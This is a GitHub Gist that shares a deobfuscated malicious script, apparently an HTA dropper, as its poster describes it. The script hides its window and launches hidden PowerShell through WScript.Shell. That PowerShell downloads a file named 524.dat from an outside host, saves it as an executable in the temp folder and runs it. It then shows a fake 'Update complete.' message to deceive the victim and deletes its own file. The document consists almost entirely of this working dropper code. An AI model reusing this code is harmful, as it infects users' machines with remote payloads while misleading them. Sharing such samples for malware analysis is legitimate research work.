Skip to content

Instantly share code, notes, and snippets.

@jwieder
Last active July 30, 2016 16:02
Show Gist options
  • Save jwieder/fdc91615c13d84bd670f0c3ad4534cdb to your computer and use it in GitHub Desktop.
Save jwieder/fdc91615c13d84bd670f0c3ad4534cdb to your computer and use it in GitHub Desktop.
DEobfuscated version of a malicious script used to force victims to download a separate payload file 524.dat
try {
moveTo(-100, -100);
resizeTo(0, 0);
a = new ActiveXObject('Wscript.Shell');
a.Run("PowerShell -WindowStyle Hidden $d=$env:temp+'g2924808f66985de3a9ad1e3d743e0d.exe';(New-Object System.Net.WebClient).DownloadFile(' https://website.ext/17/524.dat',$d);Start-Process $d;[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');[system.windows.forms.messagebox]::show('Update complete.','Information',[Windows.Forms.MessageBoxButtons]::OK, [System.Windows.Forms.MessageBoxIcon]::Information);", 0, false);
var b = new ActiveXObject('Scripting.FileSystemObject');
var p = document.location.href;
p = unescape(p.substr(8));
if (b.FileExists(p)) b.DeleteFile(p);
} catch (e) {}
close();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment